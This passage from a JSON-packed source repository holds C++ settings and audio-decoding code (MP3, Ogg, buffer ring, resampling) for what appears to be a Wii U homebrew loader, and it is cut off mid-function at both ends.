GameSettings;\n\tset->ID6 = ID6;\n\tset->updateFolder = *(settings.at(UpdateFolder).strValue);\n\tset->extraSave = settings.at(ExtraSaveFile).bValue;\n\tset->save_method = settings.at(SaveMethod).ucValue;\n\tset->launch_method = settings.at(LaunchMethod).ucValue;\n\tset->EnableDLC = settings.at(EnableDLC).ucValue;\n\n\treturn set;\n}\n\n"
  },
  {
    "path": "src/settings/CSettingsGame.h",
    "content": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#ifndef _CSettingsGame_H_\n#define _CSettingsGame_H_\n\n#include <string>\n#include <map>\n#include <stdio.h>\n#include <gctypes.h>\n#include <vector>\n#include \"SettingsGameDefs.h\"\n#include \"utils/logger.h\"\n#include \"SettingsEnums.h\"\n\nclass CSettingsGame\n{\npublic:\n    static CSettingsGame *getInstance() {\n        if(!instance)\n            instance = new CSettingsGame();\n        return instance;\n    }\n\n    static void destroyInstance() {\n        if(instance){\n            delete instance;\n            instance = NULL;\n        }\n    }\n\n\n\tenum SettingsGameIdx\n    {\n        INVALID = -1,\n        UpdateFolder,\n\t\tExtraSaveFile,\n\t\tSaveMethod,\n\t\tLaunchMethod,\n\t\tEnableDLC,\n        MAX_VALUE\n    };\n\n\tenum DataTypes\n    {\n        TypeNone,\n        TypeBool,\n        TypeS8,\n        TypeU8,\n        TypeS16,\n        TypeU16,\n        TypeS32,\n        TypeU32,\n        TypeF32,\n        TypeString\n    };\n\n\tbool SaveGameSettings(const GameSettings & gSetttings);\n    bool LoadGameSettings(std::string ID6, GameSettings & result);\n\nprivate:\n    //!Constructor\n    CSettingsGame();\n    //!Destructor\n    ~CSettingsGame();\n\n\tvoid InitSettingsNames(void){\n\t\tsettingsNames.resize(MAX_VALUE);\n\t\tsettingsNames[UpdateFolder] = \"UpdateFolder\";\n\t\tsettingsNames[ExtraSaveFile] = \"ExtraSaveFile\";\n\t\tsettingsNames[SaveMethod] = \"SaveMethod\";\n\t\tsettingsNames[LaunchMethod] = \"LaunchMethod\";\n\t\tsettingsNames[EnableDLC] = \"EnableDLC\";\n\t}\n\n\ttypedef struct\n    {\n        u8 dataType;\n\n        union\n        {\n            bool bValue;\n            s8 cValue;\n            u8 ucValue;\n            s16 sValue;\n            u16 usValue;\n            s32 iValue;\n            u32 uiValue;\n            f32 fValue;\n            std::string *strValue;\n        };\n    } SettingValue;\n\n\tstd::vector<const char*> settingsNames;\n\n    bool ValidVersion(const std::string & versionString);\n\n\tstd::map<std::string,GameSettings> settingsGames;\n    static CSettingsGame *instance;\n\tstd::string configPath;\n\tstd::string filename;\n\tbool bChanged = false;\n\tbool Save();\n\tbool Load();\n\tvoid PrintLoadedGames();\n\n\tGameSettings * GetGameSettingsBySettingGameValue(std::string ID6,std::vector<SettingValue> settings);\n\tstd::vector<SettingValue> getSettingValuesFromGameSettings(GameSettings gameSettings);\n\tstd::vector<SettingValue> getSettingValuesFromGameSettings(std::string updateFolder,bool extraSave,u8 save_method,u8 launch_method,u8 enableDlc);\n};\n#endif\n"
  },
  {
    "path": "src/settings/SettingsDefs.h",
    "content": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#ifndef __SETTINGS_DEFS_\n#define __SETTINGS_DEFS_\n\nenum SettingTypes\n{\n    TypeDisplayOnly,\n    Type2Buttons,\n    Type3Buttons,\n    Type4Buttons,\n    TypeIP,\n    TypeList,\n};\n\ntypedef struct\n{\n    int value;\n    const char *name;\n} ValueString;\n\ntypedef struct\n{\n    const char *name;\n    const ValueString *valueStrings;\n    int type;\n    int index;\n} SettingType;\n\n\n#endif // __SETTINGS_DEFS_\n"
  },
  {
    "path": "src/settings/SettingsEnums.h",
    "content": "#ifndef SETTINGS_ENUMS_H_\n#define SETTINGS_ENUMS_H_\n\nenum eGameViewModes\n{\n    VIEW_ICON_CAROUSEL,\n    VIEW_ICON_GRID,\n    VIEW_COVER_CAROUSEL\n};\n\nenum eGameSaveModes\n{\n    GAME_SAVES_SHARED,\n    GAME_SAVES_UNIQUE,\n\tGAME_SAVES_DEFAULT = 255\n};\n\nenum eOnOff\n{\n\tSETTING_OFF,\n\tSETTING_ON\n};\n\n#endif // SETTINGS_ENUMS_H_\n"
  },
  {
    "path": "src/settings/SettingsGameDefs.h",
    "content": "/****************************************************************************\n * Copyright (C) 2016 Maschell\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#ifndef __SETTINGSGAME_DEFS_\n#define __SETTINGSGAME_DEFS_\ntypedef struct\n    {\n      std::string ID6;\n\t  std::string updateFolder;\n\t  bool extraSave;\n\t  u8 save_method;\n\t  u8 launch_method;\n\t  u8 EnableDLC;\n    } GameSettings;\n\n#endif // __SETTINGSGAME_DEFS_\n"
  },
  {
    "path": "src/sounds/BufferCircle.cpp",
    "content": "/***************************************************************************\n * Copyright (C) 2010\n * by Dimok\n *\n * This software is provided 'as-is', without any express or implied\n * warranty. In no event will the authors be held liable for any\n * damages arising from the use of this software.\n *\n * Permission is granted to anyone to use this software for any\n * purpose, including commercial applications, and to alter it and\n * redistribute it freely, subject to the following restrictions:\n *\n * 1. The origin of this software must not be misrepresented; you\n * must not claim that you wrote the original software. If you use\n * this software in a product, an acknowledgment in the product\n * documentation would be appreciated but is not required.\n *\n * 2. Altered source versions must be plainly marked as such, and\n * must not be misrepresented as being the original software.\n *\n * 3. This notice may not be removed or altered from any source\n * distribution.\n *\n * for WiiXplorer 2010\n ***************************************************************************/\n#include <malloc.h>\n#include \"utils/utils.h\"\n#include \"BufferCircle.hpp\"\n\nBufferCircle::BufferCircle()\n{\n\twhich = 0;\n\tBufferBlockSize = 0;\n}\n\nBufferCircle::~BufferCircle()\n{\n\tFreeBuffer();\n\tSoundBuffer.clear();\n\tBufferSize.clear();\n\tBufferReady.clear();\n}\n\nvoid BufferCircle::SetBufferBlockSize(s32 size)\n{\n\tif(size < 0)\n\t\treturn;\n\n\tBufferBlockSize = size;\n\n\tfor(s32 i = 0; i < Size(); i++)\n\t{\n\t\tif(SoundBuffer[i] != NULL)\n\t\t\tfree(SoundBuffer[i]);\n\n\t\tSoundBuffer[i] = (u8 *) memalign(32, ALIGN32(BufferBlockSize));\n\t\tBufferSize[i] = 0;\n\t\tBufferReady[i] = false;\n\t}\n}\n\nvoid BufferCircle::Resize(s32 size)\n{\n\twhile(size < Size())\n\t\tRemoveBuffer(Size()-1);\n\n\ts32 oldSize = Size();\n\n\tSoundBuffer.resize(size);\n\tBufferSize.resize(size);\n\tBufferReady.resize(size);\n\n\tfor(s32 i = oldSize; i < Size(); i++)\n\t{\n\t\tif(BufferBlockSize > 0)\n\t\t\tSoundBuffer[i] = (u8 *) memalign(32, ALIGN32(BufferBlockSize));\n\t\telse\n\t\t\tSoundBuffer[i] = NULL;\n\t\tBufferSize[i] = 0;\n\t\tBufferReady[i] = false;\n\t}\n}\n\nvoid BufferCircle::RemoveBuffer(s32 pos)\n{\n\tif(!Valid(pos))\n\t\treturn;\n\n\tif(SoundBuffer[pos] != NULL)\n\t\tfree(SoundBuffer[pos]);\n\n\tSoundBuffer.erase(SoundBuffer.begin()+pos);\n\tBufferSize.erase(BufferSize.begin()+pos);\n\tBufferReady.erase(BufferReady.begin()+pos);\n}\n\nvoid BufferCircle::ClearBuffer()\n{\n\tfor(s32 i = 0; i < Size(); i++)\n\t{\n\t\tBufferSize[i] = 0;\n\t\tBufferReady[i] = false;\n\t}\n\twhich = 0;\n}\n\nvoid BufferCircle::FreeBuffer()\n{\n\tfor(s32 i = 0; i < Size(); i++)\n\t{\n\t\tif(SoundBuffer[i] != NULL)\n\t\t\tfree(SoundBuffer[i]);\n\n\t\tSoundBuffer[i] = NULL;\n\t\tBufferSize[i] = 0;\n\t\tBufferReady[i] = false;\n\t}\n}\n\nvoid BufferCircle::LoadNext()\n{\n\tBufferReady[which] = false;\n\tBufferSize[which] = 0;\n\n\twhich = Next();\n}\n\nvoid BufferCircle::SetBufferReady(s32 pos, bool state)\n{\n\tif(!Valid(pos))\n\t\treturn;\n\n\tBufferReady[pos] = state;\n}\n\nvoid BufferCircle::SetBufferSize(s32 pos, s32 size)\n{\n\tif(!Valid(pos))\n\t\treturn;\n\n\tBufferSize[pos] = size;\n}\n"
  },
  {
    "path": "src/sounds/BufferCircle.hpp",
    "content": "/***************************************************************************\n * Copyright (C) 2010\n * by Dimok\n *\n * This software is provided 'as-is', without any express or implied\n * warranty. In no event will the authors be held liable for any\n * damages arising from the use of this software.\n *\n * Permission is granted to anyone to use this software for any\n * purpose, including commercial applications, and to alter it and\n * redistribute it freely, subject to the following restrictions:\n *\n * 1. The origin of this software must not be misrepresented; you\n * must not claim that you wrote the original software. If you use\n * this software in a product, an acknowledgment in the product\n * documentation would be appreciated but is not required.\n *\n * 2. Altered source versions must be plainly marked as such, and\n * must not be misrepresented as being the original software.\n *\n * 3. This notice may not be removed or altered from any source\n * distribution.\n *\n * for WiiXplorer 2010\n ***************************************************************************/\n#ifndef BUFFER_CIRCLE_HPP_\n#define BUFFER_CIRCLE_HPP_\n\n#include <vector>\n#include <gctypes.h>\n\nclass BufferCircle\n{\n\tpublic:\n\t\t//!> Constructor\n\t\tBufferCircle();\n\t\t//!> Destructor\n\t\t~BufferCircle();\n\t\t//!> Set circle size\n\t\tvoid Resize(s32 size);\n\t\t//!> Get the circle size\n\t\ts32 Size() { return SoundBuffer.size(); };\n\t\t//!> Set/resize the buffer size\n\t\tvoid SetBufferBlockSize(s32 size);\n\t\t//!> Remove a buffer\n\t\tvoid RemoveBuffer(s32 pos);\n\t\t//!> Set all buffers clear\n\t\tvoid ClearBuffer();\n\t\t//!> Free all buffers\n\t\tvoid FreeBuffer();\n\t\t//!> Switch to next buffer\n\t\tvoid LoadNext();\n\t\t//!> Get the current buffer\n\t\tu8 * GetBuffer() { return GetBuffer(which); };\n\t\t//!> Get a buffer at a position\n\t\tu8 * GetBuffer(s32 pos) { if(!Valid(pos)) return NULL; else return SoundBuffer[pos]; };\n\t\t//!> Get current buffer size\n\t\tu32 GetBufferSize() { return GetBufferSize(which); };\n\t\t//!> Get buffer size at position\n\t\tu32 GetBufferSize(s32 pos) { if(!Valid(pos)) return 0; else return BufferSize[pos]; };\n\t\t//!> Is current buffer ready\n\t\tbool IsBufferReady() { return IsBufferReady(which); };\n\t\t//!> Is  a buffer at a position ready\n\t\tbool IsBufferReady(s32 pos) { if(!Valid(pos)) return false; else return BufferReady[pos]; };\n\t\t//!> Set a buffer at a position to a ready state\n\t\tvoid SetBufferReady(s32 pos, bool st);\n\t\t//!> Set the buffersize at a position\n\t\tvoid SetBufferSize(s32 pos, s32 size);\n\t\t//!> Get the current position in the circle\n\t\tu16 Which() { return which; };\n\n\t\t//!> Get the next location\n\t\tinline u16 Next() { return (which+1 >= Size()) ? 0 : which+1; }\n\t\tinline u16 Prev() { if(Size() == 0) return 0; else return ((s32)which-1 < 0) ? Size()-1 : which-1; }\n\tprotected:\n\t\t//!> Check if the position is a valid position in the vector\n\t\tbool Valid(s32 pos) { return !(pos < 0 || pos >= Size()); };\n\n\t\tu16 which;\n\t\tu32 BufferBlockSize;\n\t\tstd::vector<u8 *> SoundBuffer;\n\t\tstd::vector<u32> BufferSize;\n\t\tstd::vector<bool> BufferReady;\n};\n\n#endif\n"
  },
  {
    "path": "src/sounds/Mp3Decoder.cpp",
    "content": "/***************************************************************************\n * Copyright (C) 2010\n * by Dimok\n *\n * This software is provided 'as-is', without any express or implied\n * warranty. In no event will the authors be held liable for any\n * damages arising from the use of this software.\n *\n * Permission is granted to anyone to use this software for any\n * purpose, including commercial applications, and to alter it and\n * redistribute it freely, subject to the following restrictions:\n *\n * 1. The origin of this software must not be misrepresented; you\n * must not claim that you wrote the original software. If you use\n * this software in a product, an acknowledgment in the product\n * documentation would be appreciated but is not required.\n *\n * 2. Altered source versions must be plainly marked as such, and\n * must not be misrepresented as being the original software.\n *\n * 3. This notice may not be removed or altered from any source\n * distribution.\n *\n * for WiiXplorer 2010\n ***************************************************************************/\n#include <string>\n#include <string.h>\n#include <limits.h>\n#include <unistd.h>\n#include <malloc.h>\n#include <math.h>\n#include \"dynamic_libs/os_functions.h\"\n#include \"Mp3Decoder.hpp\"\n\nMp3Decoder::Mp3Decoder(const char * filepath)\n\t: SoundDecoder(filepath)\n{\n\tSoundType = SOUND_MP3;\n\tReadBuffer = NULL;\n\tmad_timer_reset(&Timer);\n\tmad_stream_init(&Stream);\n\tmad_frame_init(&Frame);\n\tmad_synth_init(&Synth);\n\n\tif(!file_fd)\n\t\treturn;\n\n\tOpenFile();\n}\n\nMp3Decoder::Mp3Decoder(const u8 * snd, s32 len)\n\t: SoundDecoder(snd, len)\n{\n\tSoundType = SOUND_MP3;\n\tReadBuffer = NULL;\n\tmad_timer_reset(&Timer);\n\tmad_stream_init(&Stream);\n\tmad_frame_init(&Frame);\n\tmad_synth_init(&Synth);\n\n\tif(!file_fd)\n\t\treturn;\n\n\tOpenFile();\n}\n\nMp3Decoder::~Mp3Decoder()\n{\n\tExitRequested = true;\n\twhile(Decoding)\n\t\tos_usleep(100);\n\n\tmad_synth_finish(&Synth);\n\tmad_frame_finish(&Frame);\n\tmad_stream_finish(&Stream);\n\n\tif(ReadBuffer)\n\t\tfree(ReadBuffer);\n\tReadBuffer = NULL;\n}\n\nvoid Mp3Decoder::OpenFile()\n{\n\tGuardPtr = NULL;\n\tReadBuffer = (u8 *) memalign(32, SoundBlockSize*SoundBlocks);\n\tif(!ReadBuffer)\n\t{\n\t\tif(file_fd)\n\t\t\tdelete file_fd;\n\t\tfile_fd = NULL;\n\t\treturn;\n\t}\n\n\tu8 dummybuff[4096];\n\ts32 ret = Read(dummybuff, 4096, 0);\n\tif(ret <= 0)\n\t{\n\t\tif(file_fd)\n\t\t\tdelete file_fd;\n\t\tfile_fd = NULL;\n\t\treturn;\n\t}\n\n\tSampleRate = (u32) Frame.header.samplerate;\n\tFormat = ((MAD_NCHANNELS(&Frame.header) == 2) ? (FORMAT_PCM_16_BIT | CHANNELS_STEREO) : (FORMAT_PCM_16_BIT | CHANNELS_MONO));\n\tRewind();\n}\n\ns32 Mp3Decoder::Rewind()\n{\n\tmad_synth_finish(&Synth);\n\tmad_frame_finish(&Frame);\n\tmad_stream_finish(&Stream);\n\tmad_timer_reset(&Timer);\n\tmad_stream_init(&Stream);\n\tmad_frame_init(&Frame);\n\tmad_synth_init(&Synth);\n\tSynthPos = 0;\n\tGuardPtr = NULL;\n\n\tif(!file_fd)\n\t\treturn -1;\n\n\treturn SoundDecoder::Rewind();\n}\n\nstatic inline s16 FixedToShort(mad_fixed_t Fixed)\n{\n\t/* Clipping */\n\tif(Fixed>=MAD_F_ONE)\n\t\treturn(SHRT_MAX);\n\tif(Fixed<=-MAD_F_ONE)\n\t\treturn(-SHRT_MAX);\n\n\tFixed=Fixed>>(MAD_F_FRACBITS-15);\n\treturn((s16)Fixed);\n}\n\ns32 Mp3Decoder::Read(u8 * buffer, s32 buffer_size, s32 pos)\n{\n\tif(!file_fd)\n\t\treturn -1;\n\n\tif(Format == (FORMAT_PCM_16_BIT | CHANNELS_STEREO))\n\t\tbuffer_size &= ~0x0003;\n\telse\n\t\tbuffer_size &= ~0x0001;\n\n\tu8 * write_pos = buffer;\n\tu8 * write_end = buffer+buffer_size;\n\n\twhile(1)\n\t{\n\t\twhile(SynthPos < Synth.pcm.length)\n\t\t{\n\t\t\tif(write_pos >= write_end)\n\t\t\t\treturn write_pos-buffer;\n\n\t\t\t*((s16 *) write_pos) = FixedToShort(Synth.pcm.samples[0][SynthPos]);\n\t\t\twrite_pos += 2;\n\n\t\t\tif(MAD_NCHANNELS(&Frame.header) == 2)\n\t\t\t{\n\t\t\t\t*((s16 *) write_pos) = FixedToShort(Synth.pcm.samples[1][SynthPos]);\n\t\t\t\twrite_pos += 2;\n\t\t\t}\n\t\t\tSynthPos++;\n\t\t}\n\n\t\tif(Stream.buffer == NULL || Stream.error == MAD_ERROR_BUFLEN)\n\t\t{\n\t\t\tu8 * ReadStart = ReadBuffer;\n\t\t\ts32 ReadSize = SoundBlockSize*SoundBlocks;\n\t\t\ts32 Remaining = 0;\n\n\t\t\tif(Stream.next_frame != NULL)\n\t\t\t{\n\t\t\t\tRemaining = Stream.bufend - Stream.next_frame;\n\t\t\t\tmemmove(ReadBuffer, Stream.next_frame, Remaining);\n\t\t\t\tReadStart += Remaining;\n\t\t\t\tReadSize -= Remaining;\n\t\t\t}\n\n\t\t\tReadSize = file_fd->read(ReadStart, ReadSize);\n\t\t\tif(ReadSize <= 0)\n\t\t\t{\n\t\t\t\tGuardPtr = ReadStart;\n\t\t\t\tmemset(GuardPtr, 0, MAD_BUFFER_GUARD);\n\t\t\t\tReadSize = MAD_BUFFER_GUARD;\n\t\t\t}\n\n\t\t\tCurPos += ReadSize;\n\t\t\tmad_stream_buffer(&Stream, ReadBuffer, Remaining+ReadSize);\n\t\t}\n\n\t\tif(mad_frame_decode(&Frame,&Stream))\n\t\t{\n\t\t\tif(MAD_RECOVERABLE(Stream.error))\n\t\t\t{\n\t\t\t  if(Stream.error != MAD_ERROR_LOSTSYNC || !GuardPtr)\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tif(Stream.error != MAD_ERROR_BUFLEN)\n\t\t\t\t\treturn -1;\n\t\t\t\telse if(Stream.error == MAD_ERROR_BUFLEN && GuardPtr)\n\t\t\t\t\treturn -1;\n\t\t\t}\n\t\t}\n\n\t\tmad_timer_add(&Timer,Frame.header.duration);\n\t\tmad_synth_frame(&Synth,&Frame);\n\t\tSynthPos = 0;\n\t}\n\treturn 0;\n}\n"
  },
  {
    "path": "src/sounds/Mp3Decoder.hpp",
    "content": "/***************************************************************************\n * Copyright (C) 2010\n * by Dimok\n *\n * This software is provided 'as-is', without any express or implied\n * warranty. In no event will the authors be held liable for any\n * damages arising from the use of this software.\n *\n * Permission is granted to anyone to use this software for any\n * purpose, including commercial applications, and to alter it and\n * redistribute it freely, subject to the following restrictions:\n *\n * 1. The origin of this software must not be misrepresented; you\n * must not claim that you wrote the original software. If you use\n * this software in a product, an acknowledgment in the product\n * documentation would be appreciated but is not required.\n *\n * 2. Altered source versions must be plainly marked as such, and\n * must not be misrepresented as being the original software.\n *\n * 3. This notice may not be removed or altered from any source\n * distribution.\n *\n * for WiiXplorer 2010\n ***************************************************************************/\n#include <mad.h>\n\n#include \"SoundDecoder.hpp\"\n\nclass Mp3Decoder : public SoundDecoder\n{\n\tpublic:\n\t\tMp3Decoder(const char * filepath);\n\t\tMp3Decoder(const u8 * sound, s32 len);\n\t\tvirtual ~Mp3Decoder();\n\t\ts32 Rewind();\n\t\ts32 Read(u8 * buffer, s32 buffer_size, s32 pos);\n\tprotected:\n\t\tvoid OpenFile();\n\t\tstruct mad_stream Stream;\n\t\tstruct mad_frame Frame;\n\t\tstruct mad_synth Synth;\n\t\tmad_timer_t Timer;\n\t\tu8 * GuardPtr;\n\t\tu8 * ReadBuffer;\n\t\tu32 SynthPos;\n};\n"
  },
  {
    "path": "src/sounds/OggDecoder.cpp",
    "content": "/***************************************************************************\n * Copyright (C) 2010\n * by Dimok\n *\n * This software is provided 'as-is', without any express or implied\n * warranty. In no event will the authors be held liable for any\n * damages arising from the use of this software.\n *\n * Permission is granted to anyone to use this software for any\n * purpose, including commercial applications, and to alter it and\n * redistribute it freely, subject to the following restrictions:\n *\n * 1. The origin of this software must not be misrepresented; you\n * must not claim that you wrote the original software. If you use\n * this software in a product, an acknowledgment in the product\n * documentation would be appreciated but is not required.\n *\n * 2. Altered source versions must be plainly marked as such, and\n * must not be misrepresented as being the original software.\n *\n * 3. This notice may not be removed or altered from any source\n * distribution.\n *\n * for WiiXplorer 2010\n ***************************************************************************/\n#include <unistd.h>\n#include <malloc.h>\n#include \"dynamic_libs/os_functions.h\"\n#include \"OggDecoder.hpp\"\n\nstatic int ogg_read(void * punt, int bytes, int blocks, int *f)\n{\n\treturn ((CFile *) f)->read((u8 *) punt, bytes*blocks);\n}\n\nstatic int ogg_seek(int *f, ogg_int64_t offset, int mode)\n{\n\treturn ((CFile *) f)->seek((u64) offset, mode);\n}\n\nstatic int ogg_close(int *f)\n{\n\t((CFile *) f)->close();\n\treturn 0;\n}\n\nstatic long ogg_tell(int *f)\n{\n\treturn (long) ((CFile *) f)->tell();\n}\n\nstatic ov_callbacks callbacks = {\n\t(size_t (*)(void *, size_t, size_t, void *))    ogg_read,\n\t(int (*)(void *, ogg_int64_t, int))             ogg_seek,\n\t(int (*)(void *))                               ogg_close,\n\t(long (*)(void *))                              ogg_tell\n};\n\nOggDecoder::OggDecoder(const char * filepath)\n\t: SoundDecoder(filepath)\n{\n\tSoundType = SOUND_OGG;\n\n\tif(!file_fd)\n\t\treturn;\n\n\tOpenFile();\n}\n\nOggDecoder::OggDecoder(const u8 * snd, s32 len)\n\t: SoundDecoder(snd, len)\n{\n\tSoundType = SOUND_OGG;\n\n\tif(!file_fd)\n\t\treturn;\n\n\tOpenFile();\n}\n\nOggDecoder::~OggDecoder()\n{\n\tExitRequested = true;\n\twhile(Decoding)\n\t\tos_usleep(100);\n\n\tif(file_fd)\n\t\tov_clear(&ogg_file);\n}\n\nvoid OggDecoder::OpenFile()\n{\n\tif (ov_open_callbacks(file_fd, &ogg_file, NULL, 0, callbacks) < 0)\n\t{\n\t\tdelete file_fd;\n\t\tfile_fd = NULL;\n\t\treturn;\n\t}\n\n\togg_info = ov_info(&ogg_file, -1);\n\tif(!ogg_info)\n\t{\n\t\tov_clear(&ogg_file);\n\t\tdelete file_fd;\n\t\tfile_fd = NULL;\n\t\treturn;\n\t}\n\n\tFormat = ((ogg_info->channels == 2) ? (FORMAT_PCM_16_BIT | CHANNELS_STEREO) : (FORMAT_PCM_16_BIT | CHANNELS_MONO));\n\tSampleRate = ogg_info->rate;\n}\n\ns32 OggDecoder::Rewind()\n{\n\tif(!file_fd)\n\t\treturn -1;\n\n\ts32 ret = ov_time_seek(&ogg_file, 0);\n\tCurPos = 0;\n\tEndOfFile = false;\n\n\treturn ret;\n}\n\ns32 OggDecoder::Read(u8 * buffer, s32 buffer_size, s32 pos)\n{\n\tif(!file_fd)\n\t\treturn -1;\n\n\ts32 bitstream = 0;\n\n\ts32 read = (s32) ov_read(&ogg_file, (char *) buffer, (int) buffer_size, (int *)&bitstream);\n\n\tif(read > 0)\n\t\tCurPos += read;\n\n\treturn read;\n}\n"
  },
  {
    "path": "src/sounds/OggDecoder.hpp",
    "content": "/***************************************************************************\n * Copyright (C) 2010\n * by Dimok\n *\n * This software is provided 'as-is', without any express or implied\n * warranty. In no event will the authors be held liable for any\n * damages arising from the use of this software.\n *\n * Permission is granted to anyone to use this software for any\n * purpose, including commercial applications, and to alter it and\n * redistribute it freely, subject to the following restrictions:\n *\n * 1. The origin of this software must not be misrepresented; you\n * must not claim that you wrote the original software. If you use\n * this software in a product, an acknowledgment in the product\n * documentation would be appreciated but is not required.\n *\n * 2. Altered source versions must be plainly marked as such, and\n * must not be misrepresented as being the original software.\n *\n * 3. This notice may not be removed or altered from any source\n * distribution.\n *\n * for WiiXplorer 2010\n ***************************************************************************/\n#include <tremor/ivorbiscodec.h>\n#include <tremor/ivorbisfile.h>\n\n#include \"SoundDecoder.hpp\"\n\nclass OggDecoder : public SoundDecoder\n{\n\tpublic:\n\t\tOggDecoder(const char * filepath);\n\t\tOggDecoder(const u8 * snd, s32 len);\n\t\tvirtual ~OggDecoder();\n\t\ts32 Rewind();\n\t\ts32 Read(u8 * buffer, s32 buffer_size, s32 pos);\n\tprotected:\n\t\tvoid OpenFile();\n\t\tOggVorbis_File ogg_file;\n\t\tvorbis_info *ogg_info;\n};\n"
  },
  {
    "path": "src/sounds/SoundDecoder.cpp",
    "content": "/****************************************************************************\n * Copyright (C) 2009-2013 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#include <gctypes.h>\n#include <malloc.h>\n#include <string.h>\n#include <unistd.h>\n#include \"dynamic_libs/os_functions.h\"\n#include \"SoundDecoder.hpp\"\n\nstatic const u32 FixedPointShift = 15;\nstatic const u32 FixedPointScale = 1 << FixedPointShift;\n\nSoundDecoder::SoundDecoder()\n{\n\tfile_fd = NULL;\n\tInit();\n}\n\nSoundDecoder::SoundDecoder(const std::string & filepath)\n{\n\tfile_fd = new CFile(filepath, CFile::ReadOnly);\n\tInit();\n}\n\nSoundDecoder::SoundDecoder(const u8 * buffer, s32 size)\n{\n\tfile_fd = new CFile(buffer, size);\n\tInit();\n}\n\nSoundDecoder::~SoundDecoder()\n{\n\tExitRequested = true;\n\twhile(Decoding)\n\t\tos_usleep(1000);\n\n\t//! lock unlock once to make sure it's really not decoding\n\tLock();\n\tUnlock();\n\n\tif(file_fd)\n\t\tdelete file_fd;\n\tfile_fd = NULL;\n\n\tif(ResampleBuffer)\n\t\tfree(ResampleBuffer);\n}\n\nvoid SoundDecoder::Init()\n{\n\tSoundType = SOUND_RAW;\n\tSoundBlocks = 8;\n\tSoundBlockSize = 0x4000;\n\tResampleTo48kHz = false;\n\tCurPos = 0;\n\twhichLoad = 0;\n\tLoop = false;\n\tEndOfFile = false;\n\tDecoding = false;\n\tExitRequested = false;\n\tSoundBuffer.SetBufferBlockSize(SoundBlockSize);\n\tSoundBuffer.Resize(SoundBlocks);\n\tResampleBuffer = NULL;\n\tResampleRatio = 0;\n}\n\ns32 SoundDecoder::Rewind()\n{\n\tCurPos = 0;\n\tEndOfFile = false;\n\tfile_fd->rewind();\n\n\treturn 0;\n}\n\ns32 SoundDecoder::Read(u8 * buffer, s32 buffer_size, s32 pos)\n{\n\ts32 ret = file_fd->read(buffer, buffer_size);\n\tCurPos += ret;\n\n\treturn ret;\n}\n\nvoid SoundDecoder::EnableUpsample(void)\n{\n\tif(   (ResampleBuffer == NULL)\n\t   && IsStereo() && Is16Bit()\n\t   && SampleRate != 32000\n\t   && SampleRate != 48000)\n\t{\n\t\tResampleBuffer = (u8*)memalign(32, SoundBlockSize);\n\t\tResampleRatio =  ( FixedPointScale * SampleRate ) / 48000;\n\t\tSoundBlockSize = ( SoundBlockSize * ResampleRatio ) / FixedPointScale;\n\t\tSoundBlockSize &= ~0x03;\n\t\t// set new sample rate\n\t\tSampleRate = 48000;\n\t}\n}\n\nvoid SoundDecoder::Upsample(s16 *src, s16 *dst, u32 nr_src_samples, u32 nr_dst_samples)\n{\n\ts32 timer = 0;\n\n\tfor(u32 i = 0, n = 0; i < nr_dst_samples; i += 2)\n\t{\n\t\tif((n+3) < nr_src_samples) {\n\t\t\t// simple fixed point linear interpolation\n\t\t\tdst[i]   = src[n] +   ( ((src[n+2] - src[n]  ) * timer) >> FixedPointShift );\n\t\t\tdst[i+1] = src[n+1] + ( ((src[n+3] - src[n+1]) * timer) >> FixedPointShift );\n\t\t}\n\t\telse {\n\t\t\tdst[i]   = src[n];\n\t\t\tdst[i+1] = src[n+1];\n\t\t}\n\n\t\ttimer += ResampleRatio;\n\n\t\tif(timer >= (s32)FixedPointScale) {\n\t\t\tn += 2;\n\t\t\ttimer -= FixedPointScale;\n\t\t}\n\t}\n}\n\nvoid SoundDecoder::Decode()\n{\n\tif(!file_fd || ExitRequested || EndOfFile)\n\t\treturn;\n\n\t// check if we are not at the pre-last buffer (last buffer is playing)\n\tu16 whichPlaying = SoundBuffer.Which();\n\tif(\t   ((whichPlaying == 0) && (whichLoad == SoundBuffer.Size()-2))\n\t\t|| ((whichPlaying == 1) && (whichLoad == SoundBuffer.Size()-1))\n        || (whichLoad == (whichPlaying-2)))\n\t{\n\t\treturn;\n\t}\n\n\tDecoding = true;\n\n\ts32 done  = 0;\n\tu8 * write_buf = SoundBuffer.GetBuffer(whichLoad);\n\tif(!write_buf)\n\t{\n\t\tExitRequested = true;\n\t\tDecoding = false;\n\t\treturn;\n\t}\n\n\tif(ResampleTo48kHz && 